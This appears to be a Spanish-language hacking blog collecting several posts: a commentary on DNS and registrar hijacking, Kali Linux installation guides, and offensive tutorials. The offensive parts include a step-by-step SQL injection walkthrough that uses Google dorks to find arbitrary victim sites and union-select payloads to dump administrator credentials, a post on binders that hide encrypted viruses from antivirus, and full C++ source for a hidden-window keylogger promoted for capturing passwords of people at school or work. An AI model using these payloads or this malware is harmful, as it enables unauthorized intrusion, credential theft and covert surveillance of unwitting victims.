APK Hacks & News

La Mejor y Más Facil Forma de Hackear una Web: Apuntar al Hosting

2014-01-27T23:19:00.000-03:00

A principios de esta semana se produjo un nuevo ataque atribuido al Ejército Electrónico Sirio ( SEA). Durante un periodo de alrededor de seis horas , algunos visitantes a The New York Times, dos servicios de Twitter , y sitios del Huffington Post del Reino Unido fueron redirigidos a favor de Assad contenido web político. Muchas personas asumen naturalmente que estos sitios web de alto perfil han sido hackeados y desfigurado, pero en realidad el ataque era mucho más simple - y los atacantes MAR no tenía necesidad de siquiera tocar un solo servidor que pertenecen a estas organizaciones.
A pesar de ser posiblemente el componente más crítico de la moderna Internet , muy pocas personas entienden realmente cómo y , más concretamente , el mantenimiento de dominio funciona DNS. En los últimos años , creo que las empresas con una importante presencia en Internet han llegado a apreciar algunas de las amenazas que pueden afectar a su infraestructura de DNS, pero aún tienen que invertir en sistemas adecuados y planes de respuesta que va a ayudar a mantener sus sitios y contenidos accesibles en cualquier cosa más que el más ligero toque de un hacker competente.

A diferencia de gran parte de la infraestructura utilizada por las empresas en línea para servir contenido en las transacciones por Internet o de proceso , el registro de DNS y administración de dominio se maneja casi exclusivamente por parte de terceros . En la mayoría de los casos , estos proveedores de registro DNS y dominio saben que su negocio muy bien, pero a menudo hay una gran desconexión entre la seguridad de sus operaciones y las de sus clientes más importantes .
Por ejemplo , para los sitios web que reciben 50,000 -plus de visitantes por día , o procesan más de 1.000 transacciones financieras por hora , puede estar bastante seguro de que se están ejecutando generación actual perímetro sistemas de defensa ( NGFW , IPS , DLP , etc ) , someterse a una revisión periódica de seguridad y extensas y las pruebas de penetración , y se controlan generalmente en tiempo real por un contingente de back-office de los administradores de sistemas experimentados y gerentes de producto - por los negocios propios.
Mientras tanto , DNS está alojado en una tercera parte , el registro del dominio es probablemente gestionado por otra, y ninguna de las defensas de seguridad o sistemas de alerta se alimenta de vuelta al cliente . Ah, y el proveedor de registro de dominios puede ser la misma gente que la empresa es comprado originalmente el nombre de dominio hace 15 años.
Desde la perspectiva de un hacker, ir tras la infraestructura DNS del objetivo o de un portal de gestión de dominio representa un blanco fácil .
Hackear un clúster de servidores Web moderna , subvirtiendo a su causa política , y tener ese mensaje presentado a miles de visitantes del sitio para más de cinco minutos es una tarea difícil. Hackear la infraestructura de alojamiento de un proveedor comercial de Internet o servicio principal es a menudo mucho más difícil. Mientras tanto , la focalización y subvertir un pequeño proveedor de alojamiento DNS o la obtención de las credenciales de administración para el portal de registro de dominio es una propuesta mucho más fácil - el atacante probablemente ni siquiera necesita tocar cualquier sistema de propiedad y operados por su objetivo final . Una vez que las entradas DNS clave han sido alterados, los atacantes pueden parecer que han puesto en peligro los servicios Web de la diana durante horas ( incluso días ) , ya que las entradas actualizadas se propagan por Internet .
Mientras que el efecto final es el mismo , los cortes contra el servidor DNS o el proceso de registro de dominio son técnicamente muy diferente . Hackear un servidor DNS, por un lado, es muy parecida a la piratería de cualquier otro dispositivo de la infraestructura, pero también hay una gran cantidad de vectores de ataque adicionales que se destinen específicamente a las deficiencias en la forma en que la aplicación de base de datos DNS y funciona - en busca de afectar el almacenamiento en caché glitches , explotar vulnerabilidades de servicios DNS, usurpan los controles de acceso administrativos , o simplemente adivinando una cuenta de gestión .
Hackear el sistema de registro de dominio tiende a ser una bestia diferente. En la mayoría de los casos, hacks contra el seleccionado por el sistema en la obtención de las credenciales de acceso del propietario de dominio o administrador. Por ejemplo , en el ataque SEA principios de esta semana , se dice que los atacantes han utilizado un ataque spearphishing contra el personal de un Melbourne IT distribuidor para capturar datos de la cuenta de administrador , y las han usado para editar los campos del servidor de nombres . Al cambiar los campos del servidor de nombres para los dominios específicos, el mar era capaz de redirigir todas las búsquedas de Internet para aquellos dominios de nivel superior (TLD) en particular a los servidores DNS que controlaba , y los servidores DNS , por su parte , respondió a consultas de búsqueda entrantes para hosts (y servicios) asociados con esos dominios de primer nivel con las direcciones IP de los servidores que controlaban - que sirven de contenido político a favor de Assad .
He encontrado constantemente el registro del dominio y el proceso administrativo que se debiliten y fortuita . En las primeras fases de una prueba de penetración , durante la fase de recopilación de información pasiva , es fácil de identificar las debilidades administrativas en los detalles de registro de dominios de incluso una búsqueda WHOIS rápida . Cuando usted comienza a enumerar qué cuentas pueden mantener una entrada de dominio (es decir , a través de la " mnt -by: " tag) , y los que todavía dependen de una contraseña de autenticación protegido por un hash MD5 humildes (es decir , "Autenticación : MD5 -PW ") , que está obligado a mover la cabeza con incredulidad.
Mi consejo para las organizaciones que buscan protegerse de ataques similares a nivel de registro DNS y dominio está , en primer orden, elija un proveedor de DNS y registro de dominios que pueden demostrar que han invertido en el nivel adecuado de los sistemas de defensa del perímetro y estrategias de respuesta - idealmente en un nivel comparable ( o mejor) que el suyo propio. En este árbol de servicio en particular de Internet , usted realmente consigue lo que usted paga.
En segundo lugar, cuando se está evaluando la seguridad de sus sitios web principales y la infraestructura de acceso a Internet , asegúrese de que sus DNS y Registradores de dominio no sólo se incluyen en la información pasiva recopilación etapas, pero también están dentro del alcance de una prueba de penetración o rojo - ejercicio de equipo .
Por último, debe " endurecer " sus procesos de administración de dominio - asegurar que está utilizando la autenticación fuerte y cambiar los procedimientos de control y , cuando sea posible , que haya bloqueado el dominio a través del "registro -lock " y las opciones de " Bloqueo de Registrador " .
Una advertencia , sin embargo: Incluso después de realizar estas acciones, los procesos de mantenimiento de DNS y dominio seguirá siendo uno de los puntos más débiles de su estatura de seguridad de Internet . Se recomienda vigilancia . Reconocer que esto es un continuo punto débil , asegúrese de que usted vigile los cambios de forma continua, y la respuesta a incidentes veterinario planea adecuadamente.

Instar Kali ARM en un Raspberry Pi

2013-12-14T00:00:00.000-03:00

El Raspberry Pi es una computadora ARM de gama baja y barata. A pesar de sus menos-que-estelares pliego de especificaciones, la capacidad de financiación hace que sea un excelente opción para un sistema Linux pequeño y pueda hacer mucho más que actuar como un PC multimedia.

Kali Linux en Raspberry Pi – Manera Fácil

Si todo lo que quiere hacer es instalar Kali en su Raspberry Pi, siga estas instrucciones:

1. Obtenga una tarjeta SD de 8 GB (o más). Tarjetas Clase 10 son altamente recomendadas.

root@kali:~ dd if=kali-pi.img of=/dev/sdb bs=512k

2. Baje la imagen Kali Linux para Raspberry Pi de nuestra area downloads.

3. Use el utilitario dd para crear la imagen que ira en su tarjeta SD. En nuestro ejemplo, nosotros asumimos que el dispositivo de almacenamiento esta localizado en /dev/sdb. Cambie este si es necesario.

Alerta! Este proceso borrara su tarjeta SD. Si usted escoge un dispositivo de almacenamiento distinto, podria estar borrando su disco duro.

Este proceso puede tomarse su tiempo dependiendo de la velocidad de su dispositivo USB y tamaño de la imagen. Una vez que la operación dd este completa, reinicie su Rasberry Pi con su tarjeta SD conectada. Estaras habilitado para loguearte en Kali (root / toor) y digitar startx. Y eso es, esta listo!

FUENTE ORIGINAL: http://es.docs.kali.org/06-arquitectura-arm-de-kali/instalando-kali-arm-en-un-raspberry-pi

Instalar Kali Linux en Virtual Box

2013-12-13T00:00:00.000-03:00

Si decide instalar Kali Linux en una VirtualBox, tendrá que seguir las siguientes instrucciones en orden para una exitosa instalación de las herramientas adicionales de huésped.

Siempre debe usar la última versión de VirtualBox para tomar ventaja de las mejoras incluidas en las actualizaciones de compatibilidad y estabilidad mejorada, tanto de las adiciones de huésped como el núcleo de la aplicación.

Instalación de las adiciones de huésped de VirtualBox en Kali Linux

Con el fin de tener un apropiado funcionamiento del mouse y la integración de pantalla así como compartir carpetas con el sistema principal, necesitara instalar las adiciones de huésped de VirtualBox.

Una vez que haya arrancado su máquina virtual de Kali Linux, abra una ventana de terminal y ejecute el siguiente comando para instalar las cabeceras del kernel de Linux.

apt-get update && apt-get install -y linux-headers-$(uname -r)

Una vez completado esto, se pueden adjuntar los Guest Additions CD-Rom. Esto puede ser hecho seleccionando ‘Devices’ del Menu de VirtualBox y seleccionando ‘Install Guest Additions.’ Esto montara la iso GuestAdditions a el virtual CD Drive en su maquina virtual Kali Linux. Cuando se le pida autoejecutar el CD, haga clic en el botón Cancel.

Desde una ventana de terminal, copie el archivo VboxLinuxAdditions.run de Guest Additions CD-Rom a la ruta en el sistema local asegurandose que sea ejecutable y el archivo pueda correr al iniciar la instalación.

cp /media/cd-rom/VBoxLinuxAdditions.run /root/
chmod 755 /root/VBoxLinuxAdditions.run
cd /root
./VboxLinuxAdditions.run

Reinicie su VM Kali Linux para completar la instalación de las adiciones de huespéd. Ahora debería tener completa integración del mouse y pantalla, así como la capacidad de compartir carpetas con el sistema principal.

Creación de carpetas compartidas en el sistema principal

Para compartir carpetas de su sistema principal con tu VM Kali Linux, hay unos pocos pasos que se deben completar.

Desde el administrador de la VirtualBox, seleccione su instancia de Kali Linux VM y haga clic en el enlace ‘Shared Folders’ en el panel derecho de la ventana. Esto abrirá una ventana emergente para agregar carpetas. Dentro de esta ventana, haga clic en el icono para agregar una carpeta.

En la caja de texto de la ruta de carpeta, proporcione la ruta a la carpeta que desea compartir, o haga clic en la flecha descendente para navegar hacia la ruta de su sistema principal. Seleccione las casillas de verificación que permiten el ‘Auto-mount’ y ‘Make Permanent’ y haga clic en el botón OK ambas veces cuando se le solicite.

Sus carpetas compartidas estarán ahora disponibles en su directorio de medios. Puedes crear un marcador o un enlace para facilitar el acceso al directorio.

Instar Kali Linux desde una memoria USB

2013-12-12T00:30:00.000-03:00

El arranque y la instalación de Kali desde una memoria USB es nuestro método preferido y es la manera más rápida de correrlo. Para hacer esto, primero tenemos que crear la imagen ISO de Kali en una unidad de USB. Si a usted le gustaría añadir persistencia a la memoria USB de Kali Linux, por favor lea el documento completo antes de proceder a crear su imagen.

Preparativos para la copia USB

1. Descarga Kali linux.

2. En Windows, descargar Win32 Disk Imager.

3. No se necesita software especial si usa Linux como su sistema operativo.

4.Una memoria USB (con por lo menos 2GB de capacidad).

Procedimiento para la instalación de Kali Linux desde una memoria USB

Creando una imagen de Kali en Windows

1. Conecte su memoria USB en el puerto USB de Windows. Inicie el software Disk Imager Win32.

2. Elija el archivo ISO de Kali Linux con el que creará la imagen y verifique que la unidad USB que será sobrescriba es la correcta.

3. Una vez que la imagen haya sido creada, expulsar de forma segura la unidad USB desde la máquina Windows. Ahora puede utilizar la memoria USB para arrancar Kali Linux.

Creando una imagen de Kali en Linux

La creación de una memoria USB desde la cual pueda arrancar Kali Linux en un entorno de Linux es fácil. Una vez que haya descargado el archivo ISO de Kali, puede utilizar dd para copiarlo a la memoria USB:

ADVERTENCIA. Aunque el proceso de creación de imágenes de Kali en una memoria USB es muy fácil, usted puede fácilmente destruir particiones arbitrarias con dd si usted no entiende lo que está haciendo. Queda advertido.

1. Conecte el dispositivo USB al puerto USB de su ordenador Linux.

2. Compruebe que la ruta de su dispositivo de almacenamiento USB con dmesg.

3. Proceda (con cuidado) a crear la imagen de Kali Linux en el dispositivo USB:

dd if=kali.iso of=/dev/sdb

Eso es todo, de verdad! Ahora puede arrancar en un entorno Kali Live / Instalador usando el dispositivo USB.

Agregando persistencia a su memoria USB de Kali Linux

La adición de persistencia (la capacidad de guardar archivos y los cambios a través de arranques en directo) a su imagen de Kali Linux puede ser muy útil en ciertas situaciones. Para agregar persistencia a su memoria USB de Kali Linux, siga estos pasos.En este ejemplo, asumimos nuestra unidad USB es /dev/sdb. Si desea agregar la persistencia, usted necesitará un dispositivo USB más grande que el que encontrarás en nuestros requisitos anteriores.

1. Cree la imagen de Kali Linux en su memoria USB como se ha explicado anteriormente, utilizando el “Método de Linux” y dd.

2. Cree y formatee una partición adicional en la memoria USB. En nuestro ejemplo, podemos utilizar gparted invocando:

gparted /dev/sdb

3. Su esquema de particionamiento actual debe ser similar a este:

4. Proceda a formatear la nueva partición para ser utilizada para la persistencia. En nuestro ejemplo, hemos utilizado todo el espacio disponible restante. Asegúrese de que la etiqueta de volumen de la partición recién creada sea la de la persistencia, y dele formato utilizando el sistema de archivos ext4.

5. Una vez que el proceso se haya completado, monte su partición persistente USB utilizando los siguientes comandos:

mkdir /mnt/usb
mount /dev/sdb2 /mnt/usb
echo "/ union" >> /mnt/usb/persistence.conf
umount /mnt/usb

6. Conecte la memoria USB en el equipo que desea arrancar. Asegúrese de que su BIOS arrancará desde el dispositivo USB. Cuando la pantalla de arranque de Linux Kali aparezca, seleccione “boot en vivo” en el menú (no presione enter), y presione el botón de tabulación. Esto le permitirá editar los parámetros de arranque. Agregue la palabra “persistence” al final de la línea de parámetro de arranque cada vez que quiera montar su almacenamiento permanente.

FUENTE ORIGINAL: http://es.docs.kali.org/installation-es/instalacion-de-kali-linux-desde-una-memoria-usb

Instar Kali Linux en un disco duro | Tutorial

2013-12-11T01:09:00.000-03:00

Requisitos de instalación de Kali Linux

Instalar Kali Linux en su ordenador es un proceso fácil. Primero necesitará hardware que sea compatible en su ordenador. Kali es soportado en las siguientes plataformas: i386, en amd64, y en ARM (tanto armel como armhf). Los requisitos de hardware son mínimos y se enumeran a continuación, aunque mejor hardware naturalmente ofrece un mejor rendimiento. Las imágenes i386 tienen un núcleo predeterminado PAE, por lo que pueden ejecutarse en sistemas con más de 4 GB de RAM. Descarge Kali Linux y, o bien grabe el ISO en un DVD, o prepare una memoria USB con Kali Linux Live como medio de instalación. Si usted no tiene una unidad de DVD o un puerto USB de su ordenador.

Requisitos previos de instalación

Un mínimo de 8 GB de espacio en disco para la instalación de Kali Linux.

Para las arquitecturas i386 y amd64, un mínimo de 512 MB de RAM.

Lectora de CD/DVD / Soporte para iniciar desde una memoria USB

Preparándose la instalación

Descarge Kali Linux.
Queme el Kali Linux ISO a DVD o prepare una memoria USB con Kali Linux Live como medio de instalación.
Asegúrese de que su ordenador está configurado para arrancar desde un CD / USB en el BIOS.

Procedimiento de instalación de Kali Linux

Para iniciar la instalación, arranque con el medio de instalación elegido. Usted debe ser recibido con la pantalla de arranque de Kali. Elegir si desea proceder con una instalación gráfica o en modo texto. En este ejemplo, hemos elegido una instalación gráfica.
Seleccione el idioma que desee y luego su país de localización. También se le pedirá que configure su teclado con el mapa de teclado adecuado.
El programa de instalación copiará la imagen en su disco duro, probará las interfaces de red, y luego le pedirá que introduzca un nombre de host para el sistema. En el siguiente ejemplo, hemos entrado “Kali”, como el nombre de host.
Introduzca una contraseña robusta para la cuenta de root y cree las cuentas adicionales que desee.
Configure su zona horaria.
El instalador probará sus discos, y le ofrecerá cuatro opciones. En nuestro ejemplo, vamos a usar el disco entero en nuestro ordenador y no la configuración de LVM (Logical Volume Manager). Los usuarios experimentados pueden utilizar el método manual de partición para una configuración más granular.
Entonces tendrá una última oportunidad para revisar la configuración de su disco antes de que el instalador haga que los cambios sean irreversibles. Después de hacer clic en Continuar, el instalador irá a trabajar y usted tendrá una instalación casi terminada.
Configurar espejos de red. Kali utiliza un repositorio central para distribuir aplicaciones. Tendrá que introducir la información de proxy adecuado según sea necesario.

NOTA! Si selecciona “NO” en esta pantalla, NO usted no será capaz de instalar paquetes desde repositorios de Kali.
El próximo paso es instalar GRUB.
Por último, haga clic en Continuar para reiniciar en su nueva instalación de Kali.

Kali Linux ya debería estar instalado y funcionando correctamente

FUENTE ORIGINAL: http://es.docs.kali.org/installation-es/instalacion-de-kali-linux-en-un-disco-duro

Hackear Página Web con SQL Injection | Tutorial Paso a Paso

2013-12-04T19:32:00.000-03:00

Que es un ataque de inyección SQL? Un ataque SQL injection es uno de los métodos mas populares y efectivos al momento de hackear una pagina web o obtener privilegios de administrador en un servidor. Explotando correctamente esta vulnerabilidad, una persona puede ganar acceso a la base de datos de una pagina web sin estar autorizado para ello. Una vez concedido el acceso, tendrá control total sobre la base de datos de la víctima.

Para que sirve? Que se puede hacer con esto?

ByPass Login de administrador
Acceder a toda la información de la pagina
Modificar los contenidos de la pagina
Apagar o deshabilitar el servidor My SQL

SQL Injection Tutorial Paso a Paso:

1. Encontrar Pagina Vulnerable a SQL Injection

Para encontrar un sitio vulnerable, la forma mas fácil es utilizar Google y buscar con ciertos parámetros. Estos parámetros se llaman "Google Dorks"

Ejemplos:
inurl:index.php?id=
inurl:galeria.php?id=
inurl:articulo.php?id=
inurl:pageid=

NOTA: Si queremos hackear una pagina en particular usamos:

site:www.victima.com inurl:index.php?id=

Para mas Dorks les dejo una lista con miles de ellos aquí: "Google Dorks"

Lo que tenemos que hacer ahora es elegir alguno que nos guste y pegarlo en el cuadro de búsqueda de Google como si estuviéramos haciendo una búsqueda común, y le damos a buscar. Obtendremos algo como esto:

Ahora elegimos una y procedemos con el siguiente paso

2. Comprobar la vulnerabilidad SQL:

Para comprobar que la pagina es definitivamente vulnerable a SQL injection lo que tenemos que hacer es agregar un simple ' en lugar del valor al final de nuestra url y darle enter. Ejemplo:

http://www.victima.com/index.php?id=2'

Si al cargar esta dirección nos da un error como este, o nos aparece una pagina en blanco, la pagina es vulnerable y podemos proceder con el ataque. Ejemplo de error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Si la pagina se carga igual que antes, esto quiere decir que no es vulnerable y no podremos seguir con el ataque.

3. Averiguar el numero de columnas en la base de datos SQL:

Ahora que ya sabemos que nuestra pagina es vulnerable, lo siguiente es averiguar la cantidad de columnas que posee la base de datos.

Para ello realizamos lo siguiente:

Reemplazamos el apostrofe ' que habíamos puesto antes con "order by x". Y a esta X la reemplazamos por un valor numérico comenzando desde el 1 y así continuamente, 1,3,4,5,5,6,7...

Ejemplo:

http://www.victimsite.com/index.php?id=2 order by 1
http://www.victimsite.com/index.php?id=2 order by 2
http://www.victimsite.com/index.php?id=2 order by 3
http://www.victimsite.com/index.php?id=2 order by 4

Tendremos que realizar esto hasta que con algún numero "X" nos devuelva un error como el anterior. Si con un numero "X" nos devuelve error, esto quiere decir que el numero de columnas es X-1 Para hacerlo mas rápido podemos ir marcando zonas, probamos primero con 50, si nos devuelve error quiere decir que el primer numero que nos devolverá error (que es el que estamos buscando) esta entre el 1 y el 50, y así sera mas fácil y rápido encontrarlo
Ejemplo:

http://www.victima.com/index.php?id=2 order by 1 (Sin Error)
http://www.victima.com/index.php?id=2 order by 2 (Sin Error)
http://www.victima.com/index.php?id=2 order by 3 (Sin Error)
http://www.victima.com/index.php?id=2 order by 4 (Sin Error)
http://www.victima.com/index.php?id=2 order by 5 (Sin Error)
http://www.victima.com/index.php?id=2 order by 6 (Sin Error)
http://www.victima.com/index.php?id=2 order by 7 (Sin Error)
http://www.victima.com/index.php?id=2 order by 8 ( Error )

En este caso, si con el numero 8 obtenemos un Error, el numero de columnas sera 8-1=7. El numero de columnas es 7

NOTA. En caso de que después de probar con muchos números y no obtener ningún error reemplazamos el método anterior con lo siguiente y realizamos el mismo procedimiento:

http://www.victima.com/index.php?id=2 order by 1--

4. Encontrar la Columna Vulnerable:

Para esto, lo primero que tenemos que hacer es reemplazar el numero después de = por el mismo numero pero en negativo.

Ejemplo:

http://www.victima.com/index.php?id=-2

Luego de hacer esto agregamos el siguiente código a continuación del numero anterior junto con una secuencia de números que valla desde el 1 hasta el numero de columnas que encontramos anteriormente que en mi caso fue 7
Nos quedaría algo así:

http://www.victimsite.com/index.php?id=-2 union select 1,2,3,4,5,6,7--

Cuando carguemos esta dirección, nos devolverá un numero o un par de números que van a ser el numero de columnas que son vulnerables. En caso de ser mas de uno, procederemos a usar el primero.
Nos devolverá algo como esto:

En este caso, la columna vulnerable es la numero 3 y la 7

Aunque sean dos las columnas vulnerables, solo utilizaremos una, yo voy a utilizar la numero 3. Esto nos servirá para saber donde insertar nuestro código en el siguiente paso.

5. Averiguar Versión SQL, Base de Datos y Usuario:

Para averiguar estos datos, lo que tenemos que hacer es reemplazar el numero de la columna vulnerable, en mi caso el numero 3, por los siguientes códigos. Cada uno nos mostrará un resultado diferente el cual tenemos que anotar ya que dependiendo de los resultados procederemos de distintas maneras.

Los códigos que tenemos que poner en lugar del 3 (numero de columna vulnerable) son:

version()

database()

user()

Nos quedara algo como esto:

http://www.victima.com/index.php?id=-2 and 1=2 union select 1,2,version(),4,5,6,7--

Esto nos dará la versión de la base de datos SQL. Ejemplo: 5.0.1

http://www.victima.com/index.php?id=-2 and 1=2 union select 1,2,database(),4,5,6,7--

Esto nos devolverá el nombre de la base de datos actual

http://www.victima.com/index.php?id=-2 and 1=2 union select 1,2,user(),4,5,6,7--

Y esto el nombre de usuario de la base de datos

NOTA: Si el método anterior no les funciona, prueben con este:

http://www.victima.com/index.php?id=-2 and 1=2 union select 1,2,unhex(hex(@@version)),4,5,6,7--

6. Averiguar el Nombre de las Tablas dentro de la Base de Datos:

Si en el paso anterior obtuvimos como resultado de la versión de la base de datos una versión mayor o igual a 5.0.0, son buenas noticias ya que esto quiere decir que no vamos a tener que adivinar las tablas y las obtendremos sin ningún problema. En caso de que la versión sea menor a 5, vamos a tener que usar un método que se llama "Blind SQL Injection" para adivinar las tablas que explicaré en otro post.

Ahora, si nuestra versión es mayor a 5, vamos a continuar con la obtención de tablas, para ello vamos a reemplazar el 3 (en tu caso el numero de columna vulnerable obtenido anteriormente con lo siguiente:

group_concat(table_name)

Y al final de todo vamos a agregar esto:

from information_schema.tables where table_schema=database()

Nos quedará algo como esto:

http://www.victima.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--

Cargamos la pagina, y obtendremos todas las tablas en la base de datos actual. Lo que hay que hacer ahora es buscar alguna tabla que tenga información interesante para obtener sus datos (principalmente tablas que puedan contener información de usuarios y admins)

En mi caso, yo elegire la tabla "admin"

7. Averiguar el nombre de las columnas de la tabla elegida anteriormente:

Lo que haremos ahora sera reemplazar el "from information_schema.tables where table_schema=database()--" por "FROM information_schema.columns WHERE table_name=mysqlchar--"

Nos quedara algo como esto:

http://www.victima.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=mysqlchar--

Pero como verán, todavía hay una parte en rojo la cual tenemos que reemplazar por el nombre de la tabla que elegimos anteriormente (en mi caso "admin") convertido a MySQL CHAR().

Convertir nombre de tabla a MySQL CHAR():

Para esto, nos vamos a Mozilla Firefox y instalamos el add-on HackBar, el cual pueden descargar de aquí: https://addons.mozilla.org/en-US/firefox/addon/3899/

Una vez descargado y reiniciado Mozilla, van a ver una barra de herramientas en la parte superior debajo de la barra de direcciones.

Ahora, vamos a SQL->Mysql->MysqlChar()

Ponemos el nombre de la tabla que queremos convertir y le damos a OK:

A continuación vamos a ver nuestra tabla ya convertida a MySQL CHAR():

Lo que tenemos que hacer ahora que ya tenemos convertido el nombre de nuestra tabla es reemplazar la linea en rojo de la URL anterior (mysqlchar) por nuestra tabla convertida.

Nos quedará algo como esto:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)--

Le damos a enter y obtendremos una lista con todas las columnas de la tabla.
Ejemplo:

admin,password,admin_id,admin_name,admin_password

active,id,admin_name,admin_pass

admin_id,admin_name,admin_password,ID_admin

admin_username,username,password, etc...

Ahora, para obtener los datos de las columnas obtenidas tenemos que hacer lo siguiente:

Primero reemplazamos "group_concat(column_name)" por "group_concat(columna1,0x3a,columna2)" donde reemplazaremos columna1 y columna2 por dos columnas a eleccion. Por ejemplo: "group_concat(admin,0x3a,password)"

Luego, tenemos que reemplazar "from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)" por "from nombre_de
_tabla" donde "nombre_de

_tabla" va a ser la tabla que elegimos anteriormente pero sin convertir a MySQL CHAR().

Nos quedara algo como esto:

http://www.victima.com/index.php?id=-2
and 1=2 union select 1,2,group_concat(admin_id,0x3a,password),4,5,6,7 from admin--

Ejecutamos, y con suerte obtendremos los datos de las columnas que seleccionamos, en este caso, obtendremos las credenciales de Administrador tanto Usuario como Contraseña que nos darán acceso completo al servidor.

8. Encontrar Pagina del panel de Administrador para acceder a la base de datos con las credenciales obtenidas anteriormente con SQL injection:

La forma mas fácil y rápida de hacer esto es utilizando una herramienta automatizada como jSQL explicada aquí: http://apk-hacks.blogspot.com.ar/2013/11/jsql-herramienta-sql-automatica.html

Una alternativa es usar Havij que puedes encontrar aqui: http://www.itsecteam.com/products/havij-advanced-sql-injection/

Como Encriptar / Esconder un Virus en otro Archivo con Binders

2013-11-19T08:30:00.001-03:00

¿Que es un Binder?

Un Binder es un software que se usa para combinar o esconder dos o mas archivos en un único archivo bajo el mismo nombre y extensión Los archivos a combinar pueden tener cualquier nombre y extensión solo depende de nosotros elegir el nombre y el icono del archivo combinado. Estos archivos combinados son mas peligrosos cuando están encriptados ya que pueden no ser detectados por un análisis de Antivirus

Los Mejores Binders:

Simple Binder:

Weekend Binder:

Como Crear un Keylogger usando C++

2013-11-19T08:30:00.000-03:00

Como siempre, la parte mas interesante de hackear es espiar. Hoy les voy a mostrar como crear un código en C++ para crear un Keylogger. Un keylogger es un tipo de software o un dispositivo hardware específico que se encarga de registrar las pulsaciones que se realizan en el teclado, para posteriormente memorizarlas en un fichero o enviarlas a través de Internet. Esto suele ser muy divertido ya que podremos averiguar las contraseñas y datos personales de cualquier persona que use el ordenador que este infectado con nuestro Keylogger. Esta aplicación se puede usar en cualquier sistema como en la escuela, trabajo, etc.

Ventajas de usar un Keylogger:

Es un método muy simple y fácil de llevar a cabo.
Es un ataque silencioso ya que la victima no se dará cuenta que esta siendo hackeada.

Como crear un Keylogger usando C++:

Requisitos:

Dev C++. Puedes descargarlo aquí: http://www.bloodshed.net/

Instrucciones:

1. Instalar Dev C++ y ejecutarlo.

2. Dirigirse a File->New->Source File

3. A continuación, pegar el siguiente código en el espacio de trabajo en blanco.

#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

4. Compilar el código, y para eso nos dirigimos a la ventana Execute y le damos a Compile (Ctrl+F9)

Cuando le den a Compile, verán algo como esto:

5. Cuando terminen, nos dirigimos a el directorio donde guardamos el programa ya compilado y veremos estos archivos, dentro de los cuales, estará el programa y un archivo de texto log.txt

6. Este archivo .txt es en donde se guardaran las teclas que se presionen mientras el programa se esta ejecutando. Lo único que nos queda es unir estos dos archivos en un .exe y mandarlo a quien queramos o ejecutarlo en el ordenador que queramos y todas sus contraseñas quedaran registradas!

jSQL Injection - Herramienta de inyección SQL Automática (Java)

2013-11-18T09:00:00.000-03:00

jSQL es una herramienta que nos permite realizar ataques AUTOMATICOS de inyección SQL a paginas web vulnerables a este ataque y así obtener todos los datos del servidor, y con suerte, nos permitirá encontrar el usuario Admin con su respectiva contraseña.

Descarga:
http://code.google.com/p/jsql-injection/downloads/list

Métodos de inyección SQL disponibles en jSQL:

Metodos GET, POST, header, cookie.
normal, error based, blind, time based algorithms
Deteccion de Algoritmos automatica
Obtencion de datos automatica
Ajustes Proxy
Evasion
MySQL

Nmap | Como Localizar una Dirección IP

2013-11-17T09:00:00.000-03:00

¿Que es Nmap ? Es una herramienta para administradores de sistemas y gente interesada en el escaneo de grandes o pequeñas redes para determinar los equipos que se encuentran activos y cuales son sus servicios.

Instruciones:

Instalar Nmap ya sea en Windows o en Backtrack preferentemente ya que en Backtrack, Nmap viene ya instalado. En caso de que estés usando otra distribución de linux, solo ejecuta el comando: "apt-get install nmap"

Ejecutar: nmap --script ip-geolocation-geobytes [ip que queremos escanear sin los corchetes]

Ejemplo: nmap --script ip-geolocation-geobytes 192.168.0.1

Luego de unos segundos, nos apareceran todos los datos de la IP con sus respectivas coordenadas. (Podemos localizarlas en un mapa con Google Mapas)

Escaners de Vulnerabilidades SQL Online

2013-11-16T09:00:00.000-03:00

Las paginas que les voy a compartir a continuación sirven para escanear cualquier pagina web que deseen en busca de vulnerabilidades a ataques SQL, el método mas empleado por todos los hackers del mundo.

